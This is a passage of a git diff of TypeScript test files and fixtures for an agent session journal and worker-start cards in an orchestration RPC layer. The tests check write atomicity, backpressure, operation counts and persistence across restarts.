const { root, journal, deferred, sink, bind } = await rig() + bind() + // Fail step two to verify step three never fills its place. + openTestJournalHostDatabase(root).db.exec(`CREATE TEMP TRIGGER fail_second_step BEFORE INSERT ON main.journal_rows WHEN instr(NEW.row_json, 'refused-step') > 0 BEGIN SELECT RAISE(ABORT, 'second step refused'); END`) - const step = (recordId: string) => - itemStep(() => ({ identity: identity(recordId), body: tool(recordId, 'running') })) - sink.tryAppendTransition?.({ - lifecycle: false, - publish: true, - steps: [step('first'), step('refused-step'), step('third')] - }) - - await expect(deferred.drained()).resolves.toMatchObject({ ok: false }) - expect(journal.snapshot().items.map((item) => item.itemId)).toEqual([ - agentJournalItemKey(identity('first')) - ]) + const step = (recordId: string) => + itemStep(() => ({ identity: identity(recordId), body: tool(recordId, 'running') })) + sink.tryAppendTransition?.({ + lifecycle: false, + publish: true, + steps: [step('first'), step('refused-step'), step('third')] }) - it('refuses a transition whole, so none of its steps ever lands', async () => { - const { journal, deferred, sink, bind } = await rig({ maxQueuedOperations: 1 }) - const step = (recordId: string) => - itemStep(() => ({ identity: identity(recordId), body: tool(recordId, 'running') })) - const admitted = { lifecycle: false, publish: false, steps: [step('a')] } - const refused = { lifecycle: false, publish: false, steps: [step('b'), step('c')] } + await expect(deferred.drained()).resolves.toMatchObject({ ok: false }) + expect(journal.snapshot().items.map((item) => item.itemId)).toEqual([ + agentJournalItemKey(identity('first')) + ]) +}) - expect(sink.tryAppendTransition?.(admitted)).toEqual({ accepted: true }) - expect(sink.tryAppendTransition?.(refused)).toEqual({ - accepted: false, - reason: 'backpressure' - }) - bind() - await deferred.drained() +it('refuses a transition whole, so none of its steps ever lands', async () => { + const { journal, deferred, sink, bind } = await rig({ maxQueuedOperations: 1 }) + const step = (recordId: string) => + itemStep(() => ({ identity: identity(recordId), body: tool(recordId, 'running') })) + const admitted = { lifecycle: false, publish: false, steps: [step('a')] } + const refused = { lifecycle: false, publish: false, steps: [step('b'), step('c')] } - expect(journal.snapshot().items.map((item) => item.itemId)).toEqual([ - agentJournalItemKey(identity('a')) - ]) + expect(sink.tryAppendTransition?.(admitted)).toEqual({ accepted: true }) + expect(sink.tryAppendTransition?.(refused)).toEqual({ + accepted: false, + reason: 'backpressure' }) + bind() + await deferred.drained() - it('settles from the rows as they stand, in consecutive rows when one cannot hold them', async () => { - const { journal, deferred, sink, publishes, bind } = await rig() - bind() - const running = Array.from({ length: 250 }, (_, index) => identity(`tool-${index}`)) - for (const id of running) { - sink.tryAppendItem?.(id, tool('read', 'running'), { turnScope: AGENT_JOURNAL_THREAD_SCOPE }) - } - sink.tryAppendItem?.(identity('done'), tool('read', 'completed'), { - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - expect( - sink.tryAppendTransition?.({ - lifecycle: true, - publish: true, - steps: [ - { - kind: 'settlement', - settlementId: 'settle-all', - reservedBytes: 1, - // Include an already-settled candidate so the fold must exclude it. - resolve: (view) => - [...running, identity('done')].flatMap((id) => { - const body = view.itemBody(agentJournalItemKey(id)) - return body?.kind === 'tool-call' && body.state === 'running' - ? [ - { - kind: 'item' as const, - identity: id, - body: { ...body, state: 'failed' as const }, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - } - ] - : [] - }) - } - ] - }) - ).toEqual({ accepted: true }) - sink.tryAppendItem?.(identity('after'), tool('after', 'running'), { - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - await deferred.drained() + expect(journal.snapshot().items.map((item) => item.itemId)).toEqual([ + agentJournalItemKey(identity('a')) + ]) +}) - const items = journal.snapshot().items - const sequenceOf = (recordId: string) => - items.find((item) => item.itemId === agentJournalItemKey(identity(recordId)))?.sequence ?? 0 - expect( - items.filter((item) => item.body.kind === 'tool-call' && item.body.state === 'failed') - ).toHaveLength(250) - expect( - items.find((item) => item.itemId === agentJournalItemKey(identity('done')))?.body - ).toMatchObject({ state: 'completed' }) - expect(sequenceOf('after') - sequenceOf('done')).toBe(3) - expect(publishes).toHaveLength(1) +it('settles from the rows as they stand, in consecutive rows when one cannot hold them', async () => { + const { journal, deferred, sink, publishes, bind } = await rig() + bind() + const running = Array.from({ length: 250 }, (_, index) => identity(`tool-${index}`)) + for (const id of running) { + sink.tryAppendItem?.(id, tool('read', 'running'), { turnScope: AGENT_JOURNAL_THREAD_SCOPE }) + } + sink.tryAppendItem?.(identity('done'), tool('read', 'completed'), { + turnScope: AGENT_JOURNAL_THREAD_SCOPE }) - - it('leaves no row of a settlement durable when a later one of its rows fails to write', async () => { - const { root, journal, deferred, sink, bind } = await rig() - bind() - const running = Array.from({ length: 250 }, (_, index) => identity(`tool-${index}`)) - for (const id of running) { - sink.tryAppendItem?.(id, tool('read', 'running'), { turnScope: AGENT_JOURNAL_THREAD_SCOPE }) - } - await deferred.drained() - const before = journal.cursor().sequence - // Abort the second insert to verify settlement transaction atomicity. - openTestJournalHostDatabase(root).db.exec(`CREATE TEMP TRIGGER fail_second_chunk -BEFORE INSERT ON main.journal_rows WHEN NEW.seq = ${before + 2} -BEGIN SELECT RAISE(ABORT, 'second chunk refused'); END`) + expect( sink.tryAppendTransition?.({ lifecycle: true, publish: true, @@ -321,104 +188,39 @@ BEGIN SELECT RAISE(ABORT, 'second chunk refused'); END`) kind: 'settlement', settlementId: 'settle-all', reservedBytes: 1, - resolve: () => running.map(failedTool) + // Include an already-settled candidate so the fold must exclude it. + resolve: (view) => + [...running, identity('done')].flatMap((id) => { + const body = view.itemBody(agentJournalItemKey(id)) + return body?.kind === 'tool-call' && body.state === 'running' + ? [ + { + kind: 'item' as const, + identity: id, + body: { ...body, state: 'failed' as const }, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + } + ] + : [] + }) } ] }) - - await expect(deferred.drained()).resolves.toMatchObject({ ok: false }) - expect(journal.cursor().sequence).toBe(before) - expect( - journal - .snapshot() - .items.filter((item) => item.body.kind === 'tool-call' && item.body.state === 'failed') - ).toEqual([]) + ).toEqual({ accepted: true }) + sink.tryAppendItem?.(identity('after'), tool('after', 'running'), { + turnScope: AGENT_JOURNAL_THREAD_SCOPE }) + await deferred.drained() - it('writes and announces nothing when a step resolves to nothing', async () => { - const { journal, deferred, sink, publishes, bind } = await rig() - bind() - sink.tryAppendTransition?.({ - lifecycle: true, - publish: true, - steps: [ - itemStep(() => null), - { kind: 'settlement', settlementId: 'none', reservedBytes: 1, resolve: () => [] } - ] - }) - await deferred.drained() - - expect(journal.snapshot().items).toEqual([]) - expect(publishes).toEqual([]) - }) - - it('lands a write a step issues while it runs after the whole transition', async () => { - const { journal, deferred, sink, bind } = await rig() - bind() - sink.tryAppendTransition?.({ - lifecycle: false, - publish: false, - steps: [ - itemStep(() => { - // Nested writes must wait until the whole transition finishes. - sink.tryAppendItem?.(identity('nested'), tool('nested', 'running'), { - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - return { identity: identity('first'), body: tool('first', 'running') } - }), - itemStep(() => ({ identity: identity('second'), body: tool('second', 'running') })) - ] - }) - await deferred.drained() - - expect(journal.snapshot().items.map((item) => item.itemId)).toEqual( - ['first', 'second', 'nested'].map((recordId) => agentJournalItemKey(identity(recordId))) - ) - }) -}) - -describe('resolved lifecycle batches', () => { - it('refuses, before writing anything, a settlement that names one item twice', async () => { - const { journal } = await rig() - const before = journal.cursor().sequence - const twice = identity('twice') - - await expect( - journal.appendSteps([ - { - kind: 'settlement', - batch: { - settlementId: 'twice', - fence: 1, - resolve: () => [failedTool(identity('once')), failedTool(twice), failedTool(twice)] - } - } - ]) - ).rejects.toThrow('journal_resolved_lifecycle_batch_names_item_twice') - expect(journal.cursor().sequence).toBe(before) - }) -}) - -describe('coalescer text a caller writes itself', () => { - it('reports unwritten streams and owes nothing once the caller marks them written', () => { - const emitted: string[] = [] - const coalescer = createAgentSessionDeltaCoalescer({ - emit: (_key, text) => { - emitted.push(text) - }, - schedule: () => () => {} - }) - coalescer.append('a', 'Hel') - coalescer.append('b', 'Wor') - coalescer.append('a', 'lo') - - expect(coalescer.dirty().map(({ key, snapshot }) => [key, snapshot.text])).toEqual([ - ['a', 'Hello'], - ['b', 'Wor'] - ]) - coalescer.markFlushed('a') - coalescer.flushAll() - expect(emitted).toEqual(['Wor']) - expect(coalescer.dirty()).toEqual([]) - }) + const items = journal.snapshot().items + const sequenceOf = (recordId: string) => + items.find((item) => item.itemId === agentJournalItemKey(identity(recordId)))?.sequence ?? 0 + expect( + items.filter((item) => item.body.kind === 'tool-call' && item.body.state === 'failed') + ).toHaveLength(250) + expect( + items.find((item) => item.itemId === agentJournalItemKey(identity('done')))?.body + ).toMatchObject({ state: 'completed' }) + expect(sequenceOf('after') - sequenceOf('done')).toBe(3) + expect(publishes).toHaveLength(1) }) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-unopened-tab.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-unopened-tab.test.ts index bc9804bbb25..390d1fc550a 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-unopened-tab.test.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-unopened-tab.test.ts @@ -75,7 +75,7 @@ async function relaunchWith( const damaged = (db: Database.Database) => updateTestJournalRowJson(db, SESSION, 1, '}{') const savedByNewerOrca = (db: Database.Database) => { const epochRow = liveTestJournalRows(db, SESSION).find((row) => row.seq === 1)! - const newer = { ...JSON.parse(epochRow.rowJson), v: AGENT_SESSION_JOURNAL_SCHEMA_VERSION + 1 } + const newer = { ...JSON.parse(epochRow.rowJson), v: AGENT_SESSION_JOURNAL_SCHEMA_VERSION + 2 } updateTestJournalRowJson(db, SESSION, 1, JSON.stringify(newer)) } diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-wire-admission.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-wire-admission.test.ts index 2da481da24c..43dcc39382b 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-wire-admission.test.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-wire-admission.test.ts @@ -32,7 +32,7 @@ const LARGE_TEXT = 'x'.repeat(250 * 1024) let root: string let journal: AgentSessionJournal -const journals = createTrackedJournalOpener() +const journals = createTrackedJournalOpener({ legacyInputs: true }) beforeEach(async () => { root = await mkdtemp(join(tmpdir(), 'orca-wire-admission-')) diff --git a/src/main/runtime/orchestration/structured-worker-journal-page.test.ts b/src/main/runtime/orchestration/structured-worker-journal-page.test.ts index b6e580fc77e..12c7725ea69 100644 --- a/src/main/runtime/orchestration/structured-worker-journal-page.test.ts +++ b/src/main/runtime/orchestration/structured-worker-journal-page.test.ts @@ -94,7 +94,21 @@ describe("a worker's journal page", () => { await append(`child-${index}`, subagent) } + const before = await readStructuredJournalPage('session-1') + await host.journal!.close() + host.journal = await journals.open({ + identity: { + sessionId: 'session-1', + workspaceId: 'ws-1', + hostId: 'host-1', + agent: 'claude', + providerHandle: claudeProviderHandle('claude-1', null) + }, + stateDirectory: root, + now: () => ++clock + }) const page = await readStructuredJournalPage('session-1') + expect(page).toStrictEqual(before) expect(page?.items.map((item) => item.body)).toEqual([ said('worker-older'), diff --git a/src/main/runtime/rpc/methods/orchestration/worker-start-card-contract-test-fixture.ts b/src/main/runtime/rpc/methods/orchestration/worker-start-card-contract-test-fixture.ts new file mode 100644 index 00000000000..ee235da2f3c --- /dev/null +++ b/src/main/runtime/rpc/methods/orchestration/worker-start-card-contract-test-fixture.ts @@ -0,0 +1,30 @@ +import { afterEach, vi } from 'vitest' +import { createOrchestrationRpcHarness } from './rpc-test-harness' +import { setStructuredAgentSessionHost } from '../../../../native-chat/agent-session-wire/structured-agent-session-registry' +import type { QueuedMessageTestRig } from '../../../../native-chat/agent-session-wire/structured-agent-session-queued-message-rig.test-fixture' +import { testOrcaSessionId } from '../../../../../shared/orca-session-address-test-fixture' + +export const h = createOrchestrationRpcHarness() + +export const COORD = testOrcaSessionId('start-card-caller') + +export const WORKER = testOrcaSessionId('start-card-worker') + +let rig: QueuedMessageTestRig | undefined + +afterEach(async () => { + setStructuredAgentSessionHost(null) + await rig?.dispose() + rig = undefined + h.cleanup() + vi.restoreAllMocks() +}) + +export const fixture = { + get rig() { + return rig + }, + set rig(value: typeof rig) { + rig = value + } +} diff --git a/src/main/runtime/rpc/methods/orchestration/worker-start-card-operations.test.ts b/src/main/runtime/rpc/methods/orchestration/worker-start-card-operations.test.ts new file mode 100644 index 00000000000..5a36e37ddfb --- /dev/null +++ b/src/main/runtime/rpc/methods/orchestration/worker-start-card-operations.test.ts @@ -0,0 +1,307 @@ +import { + expectWorkerStartPopulation, + expectWorkerStartSourcePlans +} from './worker-start-card-population.test-fixture' +import { expect, it, vi } from 'vitest' +import { partialRuntimeStore } from '../../../runtime-store-partial-fixture' +import { resolveOrchestrationSessionCaller } from '../../orchestration-session-caller' +import { setStructuredAgentSessionHost } from '../../../../native-chat/agent-session-wire/structured-agent-session-registry' +import { + createQueuedMessageTestRig, + eventually +} from '../../../../native-chat/agent-session-wire/structured-agent-session-queued-message-rig.test-fixture' +import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../../../shared/agent-session-journal-types' +import { openTestJournalHostDatabase } from '../../../../native-chat/agent-session-journal/journal-host-database-test-support' +import { StructuredAgentSessionJournalProjections } from '../../../../native-chat/agent-session-wire/structured-agent-session-status-journal-projection' +import { installSqlVisitCounters } from '../../../dispatch-predicate-visits.test-fixture' +import { createMinimalPersistedTerminalTab } from '../../../../persistence/restoring-sessions/session-owner-fields' +import { getDefaultWorkspaceSession } from '../../../../../shared/constants' +import { prepareWorkerStartCard } from '../../../orchestration/worker-start-card' +import * as journalSchema from '../../../../native-chat/agent-session-journal/journal-row-schema' + +import { fixture, COORD, h } from './worker-start-card-contract-test-fixture' + +it.each([10, 100])( + 'counts populated producer source and journal operations for %i starts and duplicate publications', + async (count) => { + fixture.rig = await createQueuedMessageTestRig({ sessionId: COORD, legacyInputs: true }) + const current = fixture.rig + setStructuredAgentSessionHost(current.host) + const session = getDefaultWorkspaceSession() + const { runtime, db } = h.setup( + false, + partialRuntimeStore({ + getSettings: () => ({ agentDefaultSurface: 'terminal' }), + getWorkspaceSession: () => session + }) + ) + vi.spyOn(runtime, 'ensureStructuredAgentSessionHost').mockResolvedValue() + const run = db.createRun({ + objective: 'scale', + coordinatorHandle: null, + coordinatorPaneKey: null + }) + const tabs: ReturnType[] = [] + const facts: { dispatchId: string; workerAddress: string; task: string; name: string }[] = [] + for (let index = 0; index < 10 * count; index++) { + const handle = `term_scale_${index}` + const tabId = `scale-tab-${index}` + const leafId = `11111111-1111-4111-8111-${String(index).padStart(12, '0')}` + tabs.push( + createMinimalPersistedTerminalTab({ + worktreeId: 'workspace-1', + tabId, + ptyId: `pty-${index}`, + existingTabCount: index + }) + ) + runtime.handles.set(handle, { + handle, + runtimeId: runtime.getRuntimeId(), + rendererGraphEpoch: 1, + worktreeId: 'workspace-1', + tabId, + leafId, + ptyId: null, + ptyGeneration: 0, + issuedForPaneKey: `${tabId}:${leafId}` + }) + const task = db.createTask({ + runId: run.id, + spec: `Task ${index}`, + displayName: `Scale worker ${index}` + }) + const { dispatch } = db.createStartingWorkerDispatch({ + creator: { kind: 'system' }, + maxDepth: Number.MAX_SAFE_INTEGER, + taskId: task.id, + startOptions: {} + }) + db.prepareStartingWorkerAuthority({ + dispatchId: dispatch.id, + handle, + paneKey: `${tabId}:${leafId}`, + processIncarnation: `scale:${index}`, + worktreeId: 'workspace-1', + effects: [], + setupState: 'not_applicable' + }) + db.markWorkerDispatchReady(dispatch.id) + if (index >= 9 * count) { + facts.push({ + dispatchId: dispatch.id, + workerAddress: handle, + task: task.spec, + name: `Scale worker ${index}` + }) + } + } + let tabVisits = 0 + tabs.forEach((tab, index) => { + Object.defineProperty(tabs, index, { + get() { + tabVisits++ + return tab + } + }) + }) + session.tabsByWorktree['workspace-1'] = tabs + vi.mocked(runtime.getTerminalPaneKey).mockImplementation( + (handle) => runtime.handles.get(handle)?.issuedForPaneKey ?? null + ) + const journal = current.host.collaboratorsForTests().sessions.get(COORD)!.journal + for (let index = 0; index < 9 * count; index++) { + await journal.appendItem( + { provider: 'orca', clientMessageId: `history-${index}` }, + { + kind: 'message', + role: 'assistant', + blocks: [{ type: 'text', text: `History ${index}` }] + }, + { + fence: current.store.getConversation(COORD)!.currentFence, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + } + ) + } + const admitted = await resolveOrchestrationSessionCaller( + runtime, + { + id: 'scale', + authToken: 'test-token', + method: 'orchestration.workerStart', + params: { spec: 'Task' }, + orchestrationCompatibilityEvidence: { agentSessionId: COORD } + }, + undefined + ) + let dispatchVisits = 0 + let taskVisits = 0 + installSqlVisitCounters({ + start_dispatch_visit: () => { + dispatchVisits++ + return 1 + }, + start_task_visit: () => { + taskVisits++ + return 1 + } + }) + const prepareSource = db.db.prepare.bind(db.db) + const sourceQueries = vi + .spyOn(db.db, 'prepare') + .mockImplementation((query) => + prepareSource( + query + .replace( + 'WHERE assignee_handle = ?', + 'WHERE assignee_handle = ? AND start_dispatch_visit(rowid)' + ) + .replace( + 'FROM tasks WHERE id = ?', + 'FROM tasks WHERE id = ? AND start_task_visit(rowid)' + ) + ) + ) + const connection = openTestJournalHostDatabase(current.root).db + const epochReads = vi.spyOn( + connection.prepare('SELECT epoch FROM journal_sessions WHERE session_id = ?'), + 'get' + ) + const inserts = vi.spyOn( + connection.prepare( + 'INSERT INTO journal_rows (session_id, epoch, seq, ts, row_json) VALUES (?, ?, ?, ?, ?)' + ), + 'run' + ) + const journalQueries = vi.spyOn(connection, 'prepare') + const serialized = vi.spyOn(journalSchema, 'serializeJournalRow') + const activeSource = vi.spyOn(db, 'getActiveDispatchForTerminal') + const recordedSource = vi.spyOn(db, 'getDispatchContextById') + const sender = vi.spyOn(runtime.orchestrationSenderNames, 'sender') + const names = vi.spyOn(runtime.orchestrationSenderNames, 'nameOf') + const dedupe = vi.spyOn(journal, 'hasRecordedItem') + const scan = vi.spyOn(journal, 'visitItemsWithLinkage') + const projection = StructuredAgentSessionJournalProjections.prototype + const readProjection = projection.read + let projecting = false + vi.spyOn(projection, 'read').mockImplementation(function ( + this: StructuredAgentSessionJournalProjections, + ...args + ) { + const previous = projecting + projecting = true + try { + return readProjection.apply(this, args) + } finally { + projecting = previous + } + }) + const snapshotSources: string[] = [] + const readSnapshot = journal.snapshot.bind(journal) + const snapshot = vi.spyOn(journal, 'snapshot').mockImplementation(() => { + snapshotSources.push(projecting ? 'status-projection' : 'other') + return readSnapshot() + }) + const append = vi.spyOn(current.host, 'appendAgentStart') + const warn = vi.spyOn(console, 'warn').mockImplementation(() => {}) + const before = journal.snapshot() + snapshot.mockClear() + const fail = prepareWorkerStartCard(runtime, admitted.caller) + expect(epochReads).toHaveBeenCalledTimes(1) + inserts.mockImplementationOnce(() => { + throw new Error('fixture insert failed') + }) + fail(facts[0]) + await eventually(() => expect(append).toHaveBeenCalledTimes(1)) + await Promise.allSettled(append.mock.results.map((result) => result.value)) + await eventually(() => + expect(warn).toHaveBeenCalledWith( + '[orchestration] recording a started worker in its caller chat failed', + expect.any(Error) + ) + ) + expect(epochReads).toHaveBeenCalledTimes(4) + expect(serialized).toHaveBeenCalledTimes(1) + expect(inserts).toHaveBeenCalledTimes(1) + expect(sourceQueries).toHaveBeenCalledTimes(2) + expect(dispatchVisits).toBe(1) + expect(taskVisits).toBe(1) + expect(tabVisits).toBe(9 * count + 1) + expect(journal.snapshot()).toEqual(before) + expect( + connection + .prepare('SELECT COUNT(*) AS count FROM journal_rows WHERE session_id = ?') + .get(COORD)?.count + ).toBe(before.cursor.sequence) + for (const counter of [ + epochReads, + serialized, + inserts, + sourceQueries, + journalQueries, + activeSource, + recordedSource, + sender, + names, + dedupe, + scan, + snapshot, + append, + warn + ]) { + counter.mockClear() + } + snapshotSources.length = 0 + tabVisits = dispatchVisits = taskVisits = 0 + const publishers = facts.map(() => prepareWorkerStartCard(runtime, admitted.caller)) + expect(epochReads).toHaveBeenCalledTimes(count) + facts.forEach((fact, index) => publishers[index](fact)) + await eventually(() => expect(append).toHaveBeenCalledTimes(count)) + await Promise.all(append.mock.results.map((result) => result.value)) + expect(epochReads).toHaveBeenCalledTimes(4 * count) + expect(serialized).toHaveBeenCalledTimes(count) + expect(inserts).toHaveBeenCalledTimes(count) + expect(snapshotSources).toEqual(['status-projection']) + // Duplicate callbacks still name the sender but must stop before row serialization/insertion. + facts.forEach((fact, index) => publishers[index](fact)) + await eventually(() => expect(append).toHaveBeenCalledTimes(2 * count)) + await Promise.all(append.mock.results.map((result) => result.value)) + expect(epochReads).toHaveBeenCalledTimes(6 * count) + expect(serialized).toHaveBeenCalledTimes(count) + expect(inserts).toHaveBeenCalledTimes(count) + expect(sender).toHaveBeenCalledTimes(2 * count) + expect(names).toHaveBeenCalledTimes(2 * count) + expect(activeSource).toHaveBeenCalledTimes(2 * count) + expect(recordedSource).not.toHaveBeenCalled() + expect(sourceQueries).toHaveBeenCalledTimes(4 * count) + expect(dispatchVisits).toBe(2 * count) + expect(taskVisits).toBe(2 * count) + const visitsPerPass = facts.reduce((sum, _fact, index) => sum + 9 * count + index + 1, 0) + expect(tabVisits).toBe(2 * visitsPerPass) + expect(tabVisits).toBeLessThanOrEqual(2 * count * tabs.length) + expect(dedupe).toHaveBeenCalledTimes(2 * count) + expect(scan).not.toHaveBeenCalled() + expect(snapshot).toHaveBeenCalledTimes(1) + expect(snapshotSources).toEqual(['status-projection']) + expect( + journalQueries.mock.calls.filter( + ([query]) => /FROM journal_rows/.test(query) && !/seq = 1/.test(query) + ) + ).toEqual([]) + expect(warn).not.toHaveBeenCalled() + expectWorkerStartSourcePlans(sourceQueries.mock.calls, prepareSource) + expectWorkerStartPopulation({ journal, facts, count, connection, before }) + console.info('start population/operations', { + count, + sourceRecords: 10 * count, + history: 9 * count, + epochReads: epochReads.mock.calls.length, + serializedRows: serialized.mock.calls.length, + inserts: inserts.mock.calls.length, + dispatchVisits, + taskVisits, + tabVisits + }) + } +) diff --git a/src/main/runtime/rpc/methods/orchestration/worker-start-card-population.test-fixture.ts b/src/main/runtime/rpc/methods/orchestration/worker-start-card-population.test-fixture.ts new file mode 100644 index 00000000000..cf9aacd19ec --- /dev/null +++ b/src/main/runtime/rpc/methods/orchestration/worker-start-card-population.test-fixture.ts @@ -0,0 +1,52 @@ +import type { createOrchestrationRpcHarness } from './rpc-test-harness' +import { expect } from 'vitest' +import type { AgentJournalSnapshot } from '../../../../../shared/agent-session-journal-types' +import type { AgentSessionJournal } from '../../../../native-chat/agent-session-journal/journal-store' +import type { JournalHostDatabase } from '../../../../native-chat/agent-session-journal/journal-host-database' +import { COORD } from './worker-start-card-contract-test-fixture' + +export function expectWorkerStartPopulation(input: { + journal: AgentSessionJournal + count: number + connection: JournalHostDatabase['db'] + facts: { dispatchId: string; workerAddress: string; task: string; name: string }[] + before: AgentJournalSnapshot +}): void { + const { journal, facts, count, connection, before } = input + const cards = journal.snapshot().items.filter(({ body }) => body.kind === 'agent-start') + expect(cards.map(({ body }) => body)).toEqual( + facts.map((fact) => ({ + kind: 'agent-start', + dispatchId: fact.dispatchId, + task: fact.task, + worker: { + party: { + address: fact.workerAddress, + terminalHandle: fact.workerAddress, + orcaSessionId: null + }, + name: fact.name + } + })) + ) + expect( + connection.prepare('SELECT COUNT(*) AS count FROM journal_rows WHERE session_id = ?').get(COORD) + ?.count + ).toBe(before.cursor.sequence + count) +} + +export function expectWorkerStartSourcePlans( + queries: readonly (readonly [string])[], + prepareSource: ReturnType< + ReturnType['setup'] + >['db']['db']['prepare'] +): void { + for (const [query] of queries.slice(0, 2)) { + const plan = prepareSource(`EXPLAIN QUERY PLAN ${query}`) + .all('unused') + .map((row) => row.detail) + .join(' | ') + expect(plan).toMatch(/SEARCH (?:dispatch_contexts|tasks)/) + expect(plan).not.toMatch(/SCAN/) + } +} diff --git a/src/main/runtime/rpc/methods/orchestration/worker-start-card-scenario.test-fixture.ts b/src/main/runtime/rpc/methods/orchestration/worker-start-card-scenario.test-fixture.ts new file mode 100644 index 00000000000..8b4767ee877 --- /dev/null +++ b/src/main/runtime/rpc/methods/orchestration/worker-start-card-scenario.test-fixture.ts @@ -0,0 +1,164 @@ +import { expect, type MockInstance } from 'vitest' +import type { AgentJournalSnapshot } from '../../../../../shared/agent-session-journal-types' +import type { createOrchestrationRpcHarness } from './rpc-test-harness' +import type { QueuedMessageTestRig } from '../../../../native-chat/agent-session-wire/structured-agent-session-queued-message-rig.test-fixture' +import { closeTestJournalHostDatabase } from '../../../../native-chat/agent-session-journal/journal-host-database-test-support' +import { projectStructuredAgentStartItem } from '../../../../../shared/structured-agent-start-projection' +import { projectStructuredAgentSessionStatusSummary } from '../../../../../shared/structured-agent-session-projection' +import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../../../shared/agent-session-journal-types' +import { readFile } from 'node:fs/promises' +import '../../../../native-chat/agent-session-wire/structured-agent-session-queued-message-rig.test-fixture' +import { COORD } from './worker-start-card-contract-test-fixture' + +export async function verifyWorkerStartCardScenario(input: { + current: QueuedMessageTestRig + scenario: string + before: AgentJournalSnapshot + task: string + federated: boolean + db: ReturnType['setup']>['db'] + append: MockInstance +}): Promise { + const { current, scenario, before, task, federated, db, append } = input + const snapshot = await current.host.journalSnapshot(COORD) + const cards = snapshot.items.filter((item) => item.body.kind === 'agent-start') + if (scenario !== 'success' && scenario !== 'federated') { + expect(cards).toHaveLength(0) + return + } + expect(cards).toHaveLength(1) + const [card] = cards + expect(snapshot.items.map(({ itemId }) => itemId)).toEqual([ + ...before.items.map(({ itemId }) => itemId), + card.itemId + ]) + expect(card.body).toMatchObject({ + kind: 'agent-start', + task, + ...(!federated + ? { worker: { party: { address: 'term_worker', terminalHandle: 'term_worker' } } } + : {}) + }) + if (card.body.kind !== 'agent-start') { + throw new Error('missing start body') + } + if (federated) { + expect(card.body.worker.party.address).toBe(`dispatch:${card.body.dispatchId}`) + } + const destination = append.mock.calls[0][0] + await Promise.all([ + current.host.appendAgentStart( + destination, + { ...card.body, task: 'replayed task' }, + card.observedAt + 10 + ), + current.host.appendAgentStart(destination, card.body, card.observedAt + 20) + ]) + expect( + (await current.host.journalSnapshot(COORD)).items.filter( + (item) => item.body.kind === 'agent-start' + ) + ).toEqual(cards) + expect(projectStructuredAgentStartItem(card)).toMatchObject({ + role: 'system', + agentStart: true, + timestamp: card.observedAt, + blocks: [{ type: 'text', text: task }] + }) + expect(projectStructuredAgentSessionStatusSummary(snapshot.items, snapshot.submissions)).toEqual( + projectStructuredAgentSessionStatusSummary(before.items, before.submissions) + ) + // Full task survives removal of the orchestration rows it came from. + db.resetAll() + expect( + (await current.host.journalSnapshot(COORD)).items.find((item) => item.itemId === card.itemId) + ).toEqual(card) + if (scenario === 'success') { + const context = await current.host.continuationContext({ + sessionId: COORD, + workspaceId: current.store.getConversation(COORD)!.location.workspaceId, + expectedCursor: snapshot.cursor + }) + expect(context).toMatchObject({ status: 'current' }) + if (context.status !== 'current' || !context.transcriptPath) { + throw new Error('saved context missing') + } + const saved = await readFile(context.transcriptPath, 'utf8') + expect(saved).toContain('Coordinate this work') + expect(saved).not.toContain(task) + expect(context.capturedText).not.toContain(task) + await current.quitRestartHostProcess() + await closeTestJournalHostDatabase(current.root) + current.crashRestartHostProcess() + const reopened = await current.host.journalSnapshot(COORD) + expect(reopened.items.map(({ itemId }) => itemId)).toEqual( + snapshot.items.map(({ itemId }) => itemId) + ) + expect(reopened.items.filter(({ body }) => body.kind !== 'tool-call')).toEqual( + snapshot.items.filter(({ body }) => body.kind !== 'tool-call') + ) + const recovered = reopened.items.find(({ itemId }) => itemId === 'orca:caller-1') + expect(recovered).toEqual({ + ...snapshot.items[1], + revision: snapshot.items[1].revision + 1, + recovered: true, + recoveredAt: expect.any(Number), + body: { + kind: 'tool-call', + name: 'shell', + input: { command: 'inspect' }, + state: 'failed', + endedAs: 'interrupted' + } + }) + expect(reopened.cursor.epoch).toBe(snapshot.cursor.epoch) + expect(reopened.cursor.sequence).toBeGreaterThan(snapshot.cursor.sequence) + const history = await current.host.history({ sessionId: COORD, direction: 'tail' }) + expect(history).toMatchObject({ ok: true, page: { items: reopened.items } }) + } + const journal = current.host.collaboratorsForTests().sessions.get(COORD)!.journal + if (scenario === 'success') { + for (let index = 0; index < 3; index++) { + await journal.appendItem( + { provider: 'orca', clientMessageId: `pressure-${index}` }, + { + kind: 'message', + role: 'assistant', + blocks: [{ type: 'text', text: 'x'.repeat(750000) }] + }, + { + fence: current.store.getConversation(COORD)!.currentFence, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + } + ) + } + const tail = await current.host.history({ sessionId: COORD, direction: 'tail' }) + if (!tail.ok) { + throw new Error('pressure tail missing') + } + expect(tail.page.hasOlder).toBe(true) + expect(tail.page.items.some(({ itemId }) => itemId === card.itemId)).toBe(false) + const older = await current.host.history({ + sessionId: COORD, + direction: 'before', + cursor: tail.page.window.nextCursor + }) + if (!older.ok) { + throw new Error('pressure older page missing') + } + expect(older.page.items.find(({ itemId }) => itemId === card.itemId)).toEqual(card) + } + await journal.appendTombstone( + { provider: 'orca', clientMessageId: `agent-start:${card.body.dispatchId}` }, + { fence: current.store.getConversation(COORD)!.currentFence } + ) + if (scenario === 'success') { + await current.quitRestartHostProcess() + await closeTestJournalHostDatabase(current.root) + current.crashRestartHostProcess() + } + await current.host.appendAgentStart(destination, card.body, card.observedAt + 30) + expect( + (await current.host.journalSnapshot(COORD)).items.some((item) => item.itemId === card.itemId) + ).toBe(false) +} diff --git a/src/main/runtime/rpc/methods/orchestration/worker-start-card.test.ts b/src/main/runtime/rpc/methods/orchestration/worker-start-card.test.ts index 72f2d8a48f1..fbdc6a8042c 100644 --- 